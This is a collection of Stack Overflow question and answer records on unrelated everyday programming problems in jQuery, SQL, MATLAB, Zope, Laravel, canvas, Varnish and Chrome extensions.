load it into the wamp server, switch between the navigation links, test the lightbox, it works! But when I switch for example, to a different page, and return, the lightbox crashes. I can see the pictures, but when I click it opens another page just for the picture. </p> <p>I forgot to say that I have a third <code>&lt;div&gt;</code> conected into the navigation, a select command to retrieve data from database. The entire file is PHP.</p> <p>What can I do to mantain the lightbox effect?</p>
25891688	0	 <p>Try re-writing your query to:</p> <pre><code>$name = trim($form_state['values']['name']); $formwem = $form_state['values']['settings']['active']; $result = db_query("INSERT INTO twittername (name, Blogurt, Twitter_name) VALUES (':name',':blogurt',':twitter_name')", array(':name' =&gt; $name, ':blogurt' =&gt; $formwem, ':twitter_name' =&gt; $formwem)); </code></pre> <p>Though I'm not sure which form field populates the two columns <code>Blogurt</code> and <code>Twitter_name</code>. Can you please explain?</p>
16521763	0	 <p>Don't rely on order by when using mutlirows variable assignment.</p> <p>try this for instance:</p> <pre><code>DECLARE @c INT = 0 SELECT @c = @c + x FROM (VALUES(1),(2),(3)) AS src(x) WHERE x BETWEEN 1 AND 3 ORDER BY 1 - x DESC SELECT @c SET @c = 0 SELECT @c = @c + x FROM (VALUES(1),(2),(3)) AS src(x) WHERE x BETWEEN 1 AND 3 ORDER BY x DESC SELECT @c </code></pre> <p><a href="http://sqlmag.com/sql-server/multi-row-variable-assignment-and-order" rel="nofollow">http://sqlmag.com/sql-server/multi-row-variable-assignment-and-order</a></p>
15339179	0	 <p>I guess, at runtime, container method calls are just resolved in the private Empty class, which makes your code fail. As far as I know, dynamic can not be used to access private members (or public members of private class)</p> <p>This should (of course) work :</p> <pre><code>var num0 = ((IContainer)container).Value; </code></pre> <p>Here, it is class Empty which is private : so you can not manipulate Empty instances outside of the declaring class (factory). That's why your code fails.</p> <p>If Empty were internal, you would be able to manipulate its instances accross the whole assembly, (well, not really because Factory is private) making all dynamic calls allowed, and your code work.</p>
37359579	0	append value to textbox on changing dynamic selectbox <p>I have created a dynamic bootstrap form. Input field is being created by clicking 'add field' button. now am trying to get value of select box into respective textbox in same parent div. but i failed to do so. my code is below:</p> <pre><code>&lt;div class="input_fields_wrap_credit "&gt; &lt;div class="form-group"&gt; &lt;h3&gt;Credit / Deposit &lt;a href="#add_credit_control" class="add-btn pull-right add_credit_field_button"&gt;&lt;i class="fa fa-plus-circle"&gt;&lt;/i&gt; add credit field&lt;/a&gt;&lt;/h3&gt; &lt;/div&gt; &lt;!-- /form-group --&gt; &lt;div class="form-group"&gt; &lt;div class="form-input col-md-2"&gt; &lt;input id="cr_ac_no" name="cr_ac_no[]" type="text" placeholder="Account no." class="form-control input-sm" required="" value=""&gt; &lt;/div&gt; &lt;div class="form-input col-md-6 col-xs-12 "&gt; &lt;select name="cr_gl_head[]" class="form-control cr_gl_head"&gt;&lt;?=$accounts-&gt;GET_CHART_OF_AC()?&gt;&lt;/select&gt; &lt;/div&gt; &lt;!-- /controls --&gt; &lt;div class="form-input col-md-3 col-xs-12 "&gt; &lt;input type="text" name="cr_amount[]" class="form-control cr_amt" maxlength="10" placeholder="Amount"&gt; &lt;/div&gt; &lt;!-- /controls --&gt; &lt;a href="#" class="remove_field"&gt;&lt;i class="fa fa-remove"&gt;&lt;/i&gt;&lt;/a&gt; &lt;/div&gt;&lt;!--form-group --&gt; &lt;/div&gt; </code></pre> <p>JQUERY:</p> <pre><code>&lt;!--credit --&gt; &lt;script type="text/javascript"&gt; $(document).ready(function() { var max_fields = 10; //maximum input boxes allowed var wrapper = $(".input_fields_wrap_credit"); //Fields wrapper var add_button = $(".add_credit_field_button"); //Add button ID var y = 1; //initlal text box count $(wrapper).on('click','.add_credit_field_button',function(e){ //on add input button click e.preventDefault(); if(y &lt; max_fields){ //max input box allowed y++; //text box increment $(wrapper).append('&lt;div class="form-group"&gt;&lt;div class="form-input col-md-2"&gt;&lt;input id="cr_ac_no" name="cr_ac_no[]" type="text" placeholder="Account no." class="form-control input-sm" required="" value=""&gt;&lt;/div&gt;&lt;div class="form-input col-md-6 col-xs-12 "&gt;&lt;select name="cr_gl_head[]" class="form-control cr_gl_head"&gt;&lt;?=$accounts-&gt;GET_CHART_OF_AC()?&gt;&lt;/select&gt;&lt;/div&gt; &lt;!-- /controls --&gt; &lt;div class="form-input col-md-3 col-xs-12 "&gt;&lt;input type="text" name="cr_amount[]" class="form-control cr_amt" maxlength="10" placeholder="Amount"&gt;&lt;/div&gt; &lt;!-- /controls --&gt;&lt;a href="#" class="remove_field"&gt;&lt;i class="fa fa-remove"&gt;&lt;/i&gt;&lt;/a&gt;&lt;/div&gt;&lt;!--form-group --&gt;'); //add input box $('#num_cr').val(y); //number of credit field }else{ alert('Maximum allowed 10 fields.'); } }); $(wrapper).on("click",".remove_field", function(e){ //user click on remove text e.preventDefault(); $(this).parent('div').remove(); y--; }) }); &lt;/script&gt; //append ac no. to text box &lt;script type="text/javascript"&gt; $(document).ready(function() { var wrapper = $(".input_fields_wrap_credit"); //Fields wrapper $(wrapper).on("change",".cr_gl_head", function(e){ //user click on remove text e.preventDefault(); var ac_no = $(this).val(); var txt = $(this).parent('div').find('#cr_ac_no').val(ac_no); }); }); &lt;/script&gt; </code></pre> <p>Any help please?</p>
25142740	0	jQuery alert text in option from select tag <p>I have a select code with two option. Is there a way I can use jQuery to alert me the text within the option tag of the option I have selected? Currently I have option two selected so when I use the code below it comes back as "5". I need it to come back as "Option 2".</p> <pre><code>alert (jQuery('#bw_status').val()); </code></pre> <p>The code below is the example code I am using.</p> <pre><code>&lt;select id="bw_status"&gt; &lt;option value="7"&gt;Option 1&lt;/option&gt; &lt;option value="5"&gt;Option 2&lt;/option&gt; &lt;/select&gt; </code></pre>
6034938	0	 <p>I'm not sure if this will solve your problem, but don't use == for string comparisons. Use the <code>compare:</code> method of the <code>NSString</code> class.</p> <pre><code>if ([myNSStringObject compare:anotherNSStringObject] == NSOrderedSame) { //proceed with processing based on resultant matched strings } else { //proceed with processing based on resultant non-matched strings } </code></pre> <p>Not sure if this will make a difference, but as your program becomes more complex, you might run into trouble not doing it this way.</p>
1863293	0	 <p>I don't think xpath works with SAX, but you might take a look at StAX which is an extended streaming XML API for Java.</p> <p><a href="http://en.wikipedia.org/wiki/StAX" rel="nofollow noreferrer">http://en.wikipedia.org/wiki/StAX</a></p>
34492246	0	Methods for Linear system solution with matlab <p>I have a linear system Ax = b , which is created by natural splines and looks like this: </p> <p><a href="https://i.stack.imgur.com/ElFVj.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/ElFVj.png" alt="enter image description here"></a></p> <p>where <a href="https://i.stack.imgur.com/bx0PX.gif" rel="nofollow noreferrer"> <img src="https://i.stack.imgur.com/bx0PX.gif" alt=" enter image description here"></a></p> <p>The code in matlab which is supposed to solve the system is the following: </p> <pre><code> clear; clc; x = [...] ; a = [...]; x0 = ...; n = length(x) - 1 ; for i = 0 : (n-1) h(i+1) = x(i+2) - x(i+1) ; end b= zeros( n+1 , 1 ) ; for i =2: n b(i,1) = 3 *(a(i+1)-a(i))/h(i) - 3/h(i-1)*(a(i) - a(i-1) ) ; end %linear system solution. l(1) =0 ; m(1) = 0 ; z(1) = 0 ; for i =1:(n-1) l(i+1) = 2*( x(i+2) - x(i) ) - h(i)* m(i) ; m(i+1) = h(i+1)/l(i+1); z(i+1) = ( b(i+1) - h(i)*z(i) ) / l ( i+1) ; end l(n+1) =1; z(n+1) = 0 ; c(n+1) = 0 ; for j = ( n-1) : (-1) : 0 c(j+1) = z(j+1) - m(j+1)*c(j+2) ; end </code></pre> <p>but I can't understand which method is being used for solving the linear system. If I had to guess I would say that the LU method is used, adjusted for tridiagonal matrices, but I still can't find the connection with the code...</p> <p>Any help would be appreciated!!!</p>
16033371	0	Zope (ZPT) overlapping tags <p>I try to create an open <code>div</code> tag condition and close a <code>div</code> tag in another condition with TAL in a Zope Page Template but I'm not allowed to overlap tags.</p> <p>Here is my code :</p> <pre><code>&lt;div id="notaccordion"&gt; &lt;tal:x repeat="item python:range(26)"&gt; &lt;tal:x define="global block_name python:current.values()[0]['block_name']"&gt; &lt;tal:x condition="python:isDone"&gt; &lt;/div&gt; &lt;/tal:x&gt; &lt;tal:x condition="python:not isDone"&gt; &lt;tal:x replace="python:block_name"&gt; &lt;/tal:x&gt; &lt;div&gt; &lt;/tal:x&gt; &lt;/tal:x&gt; &lt;/tal:x&gt; &lt;/div&gt; </code></pre> <p>The important part is:</p> <pre><code> &lt;tal:x condition="python:isDone"&gt; &lt;/div&gt; &lt;/tal:x&gt; </code></pre> <p>And here is the error.</p> <pre><code>Compilation failed zope.tal.taldefs.TALError: TAL attributes on &lt;tal:x&gt; require explicit &lt;/tal:x&gt; </code></pre> <p>I tried with a Python script but it didn't work either.</p> <pre><code>&lt;div id="notaccordion"&gt; &lt;tal:x repeat="item python:range(26)"&gt; &lt;tal:x define="global block_name python:current.values()[0]['block_name']"&gt; &lt;tal:x condition="python:isDone"&gt; &lt;tal:x content="python:context[close_div]()"&gt; &lt;/tal:x&gt; &lt;/tal:x&gt; &lt;tal:x condition="python:not isDone"&gt; &lt;tal:x replace="python:block_name"&gt; &lt;/tal:x&gt; &lt;tal:x content="python:context[open_div]()"&gt; &lt;/tal:x&gt; &lt;/tal:x&gt; &lt;/tal:x&gt; &lt;/tal:x&gt; &lt;/div&gt; </code></pre> <p>With <code>close_div</code> script:</p> <pre><code>print '&lt;/div&gt;' return printed </code></pre> <p>It returns <code>&amp;lt;/div&amp;gt;</code> instead of <code>&lt;/div&gt;</code></p> <p>If you wonder why I'm doing it. I have a tree structure that I need to display. Since I (think I) can't do it recursively, I try to emulate it using a LIFO list. And <code>current</code> is my current node.</p> <p>I try to achieve this (node is dict of dict... used as a tree) :</p> <pre><code>lifo = list() lifo.append([node, False]) while lifo: current, isDone = lifo[-1] block = current.keys()[0] if isDone: print '&lt;/div&gt;' lifo.pop() else: lifo[-1][1] = True print '&lt;div&gt;' print block children = current[block].get('children', {}) if children: for childBlock, childValue in children.items(): lifo.append([{childBlock:childValue}, False]) </code></pre> <p>Any help or suggestion is appreciated</p>
2050207	0	Is there a limit for the total variables size on the stack? <p>While coding should we consider some limit on the total size of variables created on the stack? If yes, on what basis should we decide it? Is it dependent on OS, Memory Availability etc? Are there any compiler options which can check this?</p> <p>Any pointers in the direction will also be helpful.</p>
9975436	0	 <p>On a second reading, I think I misunderstood your question, so here's an updated version:</p> <p><a href="http://jsfiddle.net/HSMfR/4/">http://jsfiddle.net/HSMfR/4/</a></p> <pre><code>$(function () { var $canvas = $('#canvas'), ctx = $canvas[0].getContext('2d'), offset = $canvas.offset(), draw, handle; handle = { color: '#666', dim: { w: 20, h: canvas.height }, pos: { x: 0, y: 0 } }; $canvas.on({ 'mousedown.slider': function (evt) { var grabOffset = { x: evt.pageX - offset.left - handle.pos.x, y: evt.pageY - offset.top - handle.pos.y }; // simple hit test if ( grabOffset.x &gt;= 0 &amp;&amp; grabOffset.x &lt;= handle.dim.w &amp;&amp; grabOffset.y &gt;= 0 &amp;&amp; grabOffset.x &lt;= handle.dim.h ) { $(document).on({ 'mousemove.slider': function (evt) { handle.pos.x = evt.pageX - offset.left - grabOffset.x; // prevent dragging out of canvas if (handle.pos.x &lt; 0) { handle.pos.x = 0; } if (handle.pos.x + handle.dim.w &gt; canvas.width) { handle.pos.x = canvas.width - handle.dim.w; } //handle.pos.y = evt.pageY - offset.top - grabOffset.y; }, 'mouseup.slider': function () { $(document).off('.slider'); } }); } } }); draw = function() { var val = (100 * (handle.pos.x / (canvas.width - handle.dim.w))).toFixed(2) + '%'; ctx.clearRect(0, 0, ctx.canvas.width, ctx.canvas.height); ctx.fillStyle = handle.color; ctx.fillRect(handle.pos.x, handle.pos.y, handle.dim.w, handle.dim.h); ctx.textBaseline = 'hanging'; ctx.font = '12px Verdana'; ctx.fillStyle = '#333'; ctx.fillText(val, 4, 4); ctx.fillStyle = '#fff'; ctx.fillText(val, 3, 3); }; setInterval(draw, 16); }); </code></pre> <hr> <p><strong>prev version</strong>:</p> <p>Very simple solution to extend upon:</p> <p><a href="http://jsfiddle.net/HSMfR/">http://jsfiddle.net/HSMfR/</a></p> <pre><code>$(function () { var ctx = $('#canvas')[0].getContext('2d'), $pos = $('#pos'), draw; draw = function() { var x = ($pos.val() / 100) * (ctx.canvas.width - 20); ctx.clearRect(0, 0, ctx.canvas.width, ctx.canvas.height); ctx.fillStyle = 'black'; ctx.fillRect(x, 0, 20, 20); }; setInterval(draw, 40); }); </code></pre>
13724727	0	 <p>I suggest you inverse the logic:</p> <pre><code>sub vcl_recv { if (req.url ~ "(?i)force=(true|yes)") { return(pass); } // other values will fall through to the safe default VCL that will do return(lookup). } </code></pre>
10076817	0	 <p>The answer is here: <a href="http://www.utteraccess.com/forum/Append-Query-Selects-L-t1984607.html" rel="nofollow">http://www.utteraccess.com/forum/Append-Query-Selects-L-t1984607.html</a></p>
27716571	0	 <p>Is your page rendered inside of a frame? A frame by default supports Navigation. If this is the case you have to set the navigation visibility property of the frame control to hidden.</p> <pre><code>&lt;Frame Name="Frame1" NavigationUIVisibility="Hidden" &gt; </code></pre>
17995653	0	 <p>Build your query like this:</p> <pre><code> string query = string.empty query += "select "; if (CheckBoxList1[0].Selected) { query += "first_column, "; }//and so on query += " from tblProject"; </code></pre>
26456812	0	 <p>You can do this using <code>void</code> pointer:</p> <pre><code>void *ptr = str; uint8_t version = *(uint8_t*)ptr; ptr = *(uint8_t*)ptr + 1; uint16_t type = *(uint16_t*)ptr; ptr = *(uint16_t*)ptr + 1; uint16_t program = *(uint16_t*)ptr; ptr = *(uint16_t*)ptr + 1; </code></pre> <p>Writing this variables to <code>char* string</code> you can perform in the same way (using void pointer).</p>
39568911	0	Laravel simple relation between models return null <p>In my database I have <code>users</code> and <code>tickets</code> table. Now I want to create simple relation between theme, in <code>phpmyadmin</code> relation created between <code>tickets.userId</code> and <code>users.id</code>, now I wrote some functions on models:</p> <p>User model:</p> <pre><code>public function tickets() { return $this-&gt;hasMany('App\Tickets'); } </code></pre> <p>Tickets model:</p> <pre><code>public function user() { return $this-&gt;belongsTo('App\User'); } </code></pre> <p>This code as <code>dd(\App\Tickets::with('user')-&gt;get());</code> return null on relation result, for example:</p> <pre><code>0 =&gt; Tickets {#209 ▼ #table: "tickets" #connection: null #primaryKey: "id" #keyType: "int" #perPage: 15 +incrementing: true +timestamps: true #attributes: array:9 [▶] #original: array:9 [▶] #relations: array:1 [▼ "user" =&gt; null ] </code></pre>
32152833	0	 <p>Here is an example fiddle for your requirement </p> <pre> http://jsfiddle.net/SantoshPandu/v8z9mm5p/ </pre>
26852020	0	 <p>Just set</p> <pre><code>[[GAI sharedInstance] setDryRun:NO]; </code></pre>
37854210	0	 <p>tyr only one line add in below:</p> <pre><code>func textFieldDidBeginEditing(textField: UITextField) { if textField == userNameTextField { textField.resignFirstResponder() // this line add pickerUser.hidden = false print("userNameTextField") } else { pickerUser.hidden = true print("@userPasswordTextField") } } </code></pre>
39691033	0	 <p>it print GMT+02 because this is your "local" timezone. if you want to print the date without timezone information, use SimpleDateFormat to format the date to you liking.</p> <p>edit : adding the code example (with your variable 'myDate')</p> <pre><code>SimpleDateFormat inputSDF = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); inputSDF.setTimeZone(TimeZone.getTimeZone("UTC")); Date myDate = inputSDF.parse("2016-09-25 17:26:12"); // SimpleDateFormat outputSDF = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); System.out.println(outputSDF.format(myDate)); System.out.println(TimeZone.getDefault().getID()); </code></pre> <p>yield on the (my) console (with my local timezone).</p> <pre><code>2016-09-25 19:26:12 Europe/Paris </code></pre>
9657721	0	Send an oobject from activity to fragment <p>I have an object in my main activity that stores a bunch of data from an XML document and I want to be able to access that information on several different fragments to display the information. How can I go about doing that</p>
22148756	0	 <p>If you posted your code it would be easier to help you, but heres the general idea. Just listen on the <code>itemClick</code> event, then fire the play button for that ListItem:</p> <pre><code>// Keep an array of video players or something like that var vidPlayersRefs = [...,...,...]; listView.addEventListener('itemclick', function(e){ // Get the video player for that row var videoPlayer = vidPlayersRefs[e.itemIndex]; videoPlayer.open(); }); </code></pre>
9007058	0	 <p>yes, Cairo is a high quality 2D drawing API, and GTK+ uses Cairo to draw itself.</p> <p>Cogl is a GPU programming library that internally can use GL or GLES to access the graphics pipeline (though in theory it could as easily use DirectX on supported platforms).</p> <p>Clutter uses Cogl for rendering, but it can also use Cairo for 2D elements.</p> <p>Clutter will not replace GTK+: GTK+ is a very complex library that provides system integration, complex widgets, and other utility API that Clutter has no interest in providing.</p> <p>the future is going to be a bit more gray than a black-and-white replacement.</p> <p>Cairo can use Cogl to draw; Cogl will program the GPU pipeline, but Cairo will generate the geometry to be submitted, so you can have high quality 2D results. Cairo already can use GL directly, but Cogl has a better state tracking already.</p> <p>Clutter can use GDK, the GTK+ windowing system API, to talk to the windowing system surfaces and get input events.</p> <p>in the future, it's entirely possible that GTK+ will use Clutter internally as the base for its widgets - though that's still a work in progress.</p> <p>in short, a diagram could be:</p> <pre><code> GPU &lt;- [ [ Cogl + Cairo ] &lt;- [ GDK + Clutter ] &lt;- GTK+ ] &lt;- application </code></pre>
33996109	0	 <p><a href="http://lookup.computerlanguage.com/host_app/search?cid=C999999&amp;def=696d7065726174697665206c616e6775616765.htm" rel="nofollow"><strong>Imperative programming</strong></a><br> A programming language that requires programming discipline such as C/C++, Java, COBOL, FORTRAN, Perl and JavaScript. Programmers writing in such languages must develop a proper order of actions in order to solve the problem, based on a knowledge of data processing and programming.</p> <p><a href="http://lookup.computerlanguage.com/host_app/search?cid=C999999&amp;def=6e6f6e2d70726f6365647572616c206c616e6775616765.htm" rel="nofollow"><strong>Declarative programming</strong></a><br> A computer language that does not require writing traditional programming logic; Users concentrate on defining the input and output rather than the program steps required in a procedural programming language such as C++ or Java. </p> <p>Declarative programming examples are CSS, HTML, XML, XSLT, RegX.</p>
31754823	0	 <p>You need to use the bodyparser middleware:</p> <pre><code>var bodyParser = require('body-parser'); </code></pre> <p>and then</p> <pre><code>app.use(bodyParser.json()); app.use(bodyParser.urlencoded({ extended: true })); </code></pre>
40158302	0	 <p>With flat product enabled, you'd better use</p> <pre><code>$collection = Mage::getResourceModel('catalog/product_collection') </code></pre> <p>You will be able to retrieve disabled and enabled products.</p> <p>See this answer for a better explanation: <a href="http://magento.stackexchange.com/a/40001/32179">http://magento.stackexchange.com/a/40001/32179</a></p>
2558144	0	 <p>What's the difference between <code>&lt;!-- $title --&gt;</code> and <code>&lt;!-- header() --&gt;</code>?<br> Why not to make it the same style and then just do <code>&lt;!-- $header --&gt;</code> simple str_replace?</p>
6156611	0	 <p>You're building a <a href="http://www.sommarskog.se/dyn-search-2008.html" rel="nofollow">dynamic search condition</a>. By forcing one single statement to cover <em>both</em> cases you are cutting the optimizer options. The generated plan has to work in <em>both</em> cases when <code>@seconds</code> is null and when is not null. You'll be much better using two separate statement:</p> <pre><code>IF @SECOND IS NULL THEN SELECT * FROM BANK_DETAIL WHERE X = @FIRST ORDER BY X ELSE SELECT * FROM BANK_DETAIL WHERE X &gt;= @FIRST AND X &lt;= @SECOND ORDER BY X </code></pre> <p>You intuition to 'simplify' into one single statement is leading you down the wrong path. The result is less text, but much more execution time due to suboptimal plans. The article linked at the beginning of my response goes into great detail on this topic.</p>
37373524	0	nsupdate in basic CSH script for BIND in unix <p><br/> I have never used C and I'm not writing this for security reasons, i am just writing this script to test an update via nsupdate to my BIND for a specific zone being "zoneA.unix". But i am receiving "option: undefined variable" <br> And I'm not to sure if this is the correct way to do nsupdate via a user's inputs.</p> <pre><code>echo "First of all we need to grab your username:" set uname = $&lt; if ($uname == "zoneA")then echo "password: " set passwd = $&lt; if ($passwd == "Azone")then echo "you are in" echo "now to do the nsupdate" echo "do you wish to (A)dd or (D)elete a record" set numeric = $&lt; if ($numeric == "A")then $option = "add" $testinga = "add" else if($numeric == "D")then $option = "delete" $testinga = "delete" endif echo "what to $testinga to the zone zoneA.unix?" set innerzonename = $&lt; nsupdate -k /usr/local/etc/namedb/Keys/Kzonea.+157+57916.key -v debug yes zone zonea.unix update $testinga $innerzonename 86400 A 127.0.0.1 show echo "is this correct (Y)es (n)" set sendoff = $&lt; if($sendoff == "Y")then send else if ($sendoff == "N")then quit endif </code></pre> <p>So the code works fine til the $option part and I'm not to sure if it will work after the input needed during the nsupdate because it won't pause it, well i don't know how i can pause it.<br><br> What it seems to be doing is running nsupdate and waiting until nsupdate is finished. anyway i can pass them into it?</p>
17492629	0	 <p>The reason the double click event doesn't work on newly added rows is because you are binding the click event before the elements exist. Try binding with this style (event delegation is the term):</p> <pre><code>$("#datatable").on("dblclick", "td", function() { //do stuff }); </code></pre> <p>As per adding a <code>tbody</code> when one is not present, simply do a check to see if one exists:</p> <pre><code>if ($("#datatable tbody").length) { //it exists! } else { //it doesnt exist! } </code></pre>
2097170	0	Why does my CLR function keep disappearing <p>I am a rookie to SQL and here is my questions.</p> <p>I have some CLR sql functions and procedures. When I deploy the 1st one, everything is fine. But after the 2nd one deployed, the first one will disappear.</p> <p>Anyone can help me out?</p> <p>Thanks a lot </p> <hr> <p>Actually, I simply create a new SQL project in VS, adding a new function or stored procedure, click deploy, and I can see the new function in my SQL instance. Then I close that project and open a new one, repeat the above steps, OK, the 2nd function is there i my instance but the 1st one disappeared or be replaced and no longer queryable for use.</p> <hr> <p>Thank you for your reply.</p> <p>All these clr functions and procedures are in the same instance of the database.</p>
7186633	0	 <p>I would also propose <strong>Solution 4</strong>: write a code generation tool. </p> <p>Pros:</p> <ul> <li>result is a clean debuggable code;</li> <li>unlimited configurability to your needs (if you have time of course);</li> <li>long-term investment to a dev's toolset.</li> </ul> <p>Cons:</p> <ul> <li>takes some time, esp. at start, not always sutable for write-once code;</li> <li>complicates build process a bit.</li> </ul>
32587201	0	 <p>Instead of using 2 nested loops, convert <code>$scope.userList</code> into an object that has the <code>userID</code> as the key. Then you can loop through your <code>userID</code> array and quickly check if a user with the same key exists in your new object.</p> <p>By removing the nested loops, the code below runs in linear time instead of n^2, which is beneficial if you have large arrays. And if you store <code>$scope.userList</code> as an object that's keyed by its <code>userId</code>, then you can save even more time by not having to create the index each time the function is run.</p> <pre><code>$scope.userInfo = function(userID) { var userList = {}; //create object keyed by user_id for(var i=0;i&lt;$scope.userList.length;i++) { userList[$scope.userList._id] = $scope.userList; } //now for each item in userID, see if an element exists //with the same key in userList created above var userDetails = []; for(i=0;i&lt;userID.length;i++) { if(userID[i] in userList) { userDetails.push(userList[userID[i]]); } } return userDetails; }; </code></pre>
2372641	0	 <p>Use the <a href="http://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqldatareader.read.aspx" rel="nofollow noreferrer"><code>SqlDataReader.Read</code></a> method:</p> <pre><code>while (sqlDREmailAddr.Read()) { ... // Assumes only one column is returned with the email address strEmailAddress = sqlDREmailAddr.GetString(0); } </code></pre>
39540091	0	Android Device Monitor's View Hierarchy dump different than appears on device? <p>I am troubleshooting the background colour of a <code>WebView</code>, and changes just weren't appearing on the device I was testing on via USB. </p> <ul> <li><p>I went into <code>Android Device Monitor</code> and got a dump of the view hierarchy, which gave me a snapshot.</p></li> <li><p>The snapshot displayed the behaviour I had been trying to render on the phone but still won't show up on the actual device.</p></li> </ul> <p>Is this typical behaviour? If so, what's the method to use this to find the view causing me the trouble? </p>
20331055	0	How to open a assetportalbrowser in SharePoint 2010 <p>How to use a assetportalbrowser in SharePoint 2010 to attach an existing document in another list?</p> <p>What I tried so far:</p> <pre><code>function InitiateAssetPickerPopUp() { var context = new SP.ClientContext.get_current(); this.Web = context.get_web(); context.load(this.Web); context.executeQueryAsync(Function.createDelegate(this, this.onSuccess), Function.createDelegate(this, this.onFail)); } function onSuccess(sender, args) { var options = { title: 'My Dialog', width: 500, height: 600, showClose: false, url: _spPageContextInfo.siteServerRelativeUrl + '/_layouts/AssetPortalBrowser.aspx?&amp;AssetUrl=' + _spPageContextInfo.siteServerRelativeUrl + '&amp; RootFolder=' + _spPageContextInfo.siteServerRelativeUrl + '&amp;MDWeb=' + this.Web.get_id() + '&amp;AssetType=Link', dialogReturnValueCallback: function(dialogResult) { alert(dialogResult); } }; SP.UI.ModalDialog.showModalDialog(options); } function onFail(sender, args) { alert('Failed:' + args.get_message()); } </code></pre> <p>But it does not open the popup?!</p>
28527224	0	 <p>You're trying this with a content script.</p> <p>Content scripts have a <a href="https://developer.chrome.com/extensions/content_scripts#run_at" rel="nofollow"><code>run_at</code> parameter</a>, which indicates when (relative to page loading) they execute.</p> <p>By default, content scripts run at <code>document_idle</code> level: Chrome waits until the page has completely loaded before executing it.</p> <p>You have two options:</p> <ul> <li><p>You can keep the content script route, but you need to indicate <code>"run_at" : "document_start"</code> parameter in the content script configuration.</p> <p>This will execute your code as soon as possible (before the document is loaded, but after the response is started).</p></li> <li><p>If you're concerned about not loading the page at all (not sending a request to the site), you need to intercept it at a lower level. <a href="https://developer.chrome.com/extensions/webRequest" rel="nofollow"><code>webRequest</code> API</a> can provide the means to do that.</p> <p>If you catch the request at <code>onBeforeRequest</code> event, you can redirect it before it is even sent. Filtering by type is recommended. Note that you won't even need a content script in this case: <code>webRequest</code> events need to be listened to in a background script.</p> <p>See the <a href="https://developer.chrome.com/extensions/samples#catblock" rel="nofollow">CatBlock example</a>.</p></li> </ul>
17571703	0	 <p>This will be faster:</p> <pre><code>DELETE B FROM table1 a LEFT OUTER JOIN table2 b ON a.table2id = b.id WHERE b.id IS null </code></pre>
4913700	0	 Serialization is the process by which data-structures are converted into a format that can be easily stored or transmitted and subsequently reconstructed.
38368108	0	@beforeClass annotation on Laravel testcase method ignored <p>In my Laravel 5.1 app's base TestCase which extends <code>Illuminate\Foundation\Testing\TestCase</code> I have this method:</p> <pre><code>/** * @beforeClass */ public function resetDatabase() { echo "I never see this message\n"; $this-&gt;artisan("migrate:refresh"); } </code></pre> <p>Other @before and @after annotations in that class is honoured as advertised. Why is this method not called in my unit tests?</p>
3969464	0	 <blockquote> <p>Audiogram is a constructor and seriesColors are not used apart from this method</p> </blockquote> <p>Assuming that your statement is accurate, and assuming that you posted the entire constructor, the <code>seriesColors</code> attribute (static or not) serves no useful purpose whatsoever. </p> <p>If this is the case, the then fix for the memory leak is to simply <strong>remove</strong> the <code>seriesColors</code> declaration from your code, as follows:</p> <pre><code>// static private ArrayList seriesColors = new ArrayList(); &lt;&lt;&lt;=== remove this line public Audiogram(int widthParm, int heightParm) throws Exception { super(widthParm, heightParm); // seriesColors.add(new Color(0, 0, 255)); &lt;&lt;&lt;=== remove this line // Set the default settings to an industrial audiogram setType(INDUSTRIAL_AUDIOGRAM); } </code></pre> <p>However, I suspect that this is not the whole story ...</p> <p><strong>EDIT</strong></p> <p>Comment out those two lines as indicated. If the code compiles with those two lines commented out, then they are definitely redundant.</p> <p>However, it strikes me that your knowledge of Java must be close to zero. If this is the case, you should NOT be trying to clean up memory leaks and the like in other peoples' code. Learn some Java first.</p>
10587165	0	 <p>Note: Providing this answer to move the OP's comment to answer.</p> <p>The problem was that the C++ program was running the native launcher with the <code>-Djava.compiler=NONE</code> setting, which essentially set the JVM to run in "interpretive" mode, disabling JIT (just-in-time) compilation of java bytecode to native code, which naturally makes run slower as the bytecode needs to be interpreted every time it is executed.</p>
6665537	0	 <p>Mr. Vale is right. I'll bet you have a quote in Student.AbsensceDescription. You should get into the habit of using stored procedures or at least parameterized queries.</p>
29954001	0	JPQL for a Unidirectional OneToMany <p>I need a jpql query for my Spring repository interface method, to retrieve all Posts for a given Semester.</p> <pre><code>@LazyCollection(LazyCollectionOption.FALSE) @OneToMany(cascade = CascadeType.MERGE) @JoinTable ( name = "semester_post", joinColumns = {@JoinColumn(name = "semester_id", referencedColumnName = "id")}, inverseJoinColumns = {@JoinColumn(name = "post_id", referencedColumnName = "id", unique = true)} ) private List&lt;PostEntity&lt;?&gt;&gt; posts = new ArrayList&lt;&gt;(); </code></pre> <p>PostEntity doesn't have a reference to Semester, and I do not want to add one, because I plan to use this PostEntity for other things than Semester. Maybe I'll have another class (let's say Group) which will also have a OneToMany of PostEntity (like the one in Semester)</p> <p><strong>So, how do I write this SQL query as a JPQL one ?</strong></p> <pre><code>select * from posts join semester_post on semester_post.post_id = posts.id where semester_post.semester_id = 1; </code></pre> <p>My repository</p> <pre><code>public interface PostRepository extends JpaRepository&lt;PostEntity, Long&gt; { String QUERY = "SELECT p FROM PostEntity p ... where semester = :semesterId"; @Query(MY_QUERY) public List&lt;PostEntity&gt; findBySemesterOrderByModifiedDateDesc(@Param("semesterId") Long semesterId); </code></pre>
32369297	0	Failed to load resource: the server responded with a status of 500 (Internal Server Error).Only in server I am getting <p>Below is my code, which handler is called. If I try to call it is throwing error. </p> <pre><code>$.ajaxFileUpload({ url: '../HttpHandler/AjaxFileUploader.ashx', //handler secureuri: false, fileElementId: id, dataType: 'json', data: { name: 'logan', id: 'id' }, responseType: 'json', success: function (data, status) { if (typeof (data.error) != 'undefined') { if (data.error != '') { alert(id) alert(data.error); } else { alert("File Uploaded Successfully"); } } }, error: function (data, status, e) { alert(e); } }); </code></pre>
37382425	0	 <p>If I understand your question correctly, then maybe try something like this:</p> <p>First create a "dummy" config file in a directory that you will map as a volume</p> <pre><code>mkdir mapdir touch mapdir/myconfig.cfg </code></pre> <p>In your <code>Dockerfile</code> you'll do what you need to do with that config file. Maybe as part of a <code>CMD</code> clause</p> <pre><code>FROM ... RUN ... CMD ["sed", "&lt;editstuff&gt;, "mapdir/myconfig.cfg" ] </code></pre> <p>Then build and run your container</p> <pre><code>docker build . docker run --name mycontainer -v mapdir:mapdir ... </code></pre> <p>It's still a strange approach, but if you absolute can only change the config file from <em>within</em> your container, give this a go.</p>
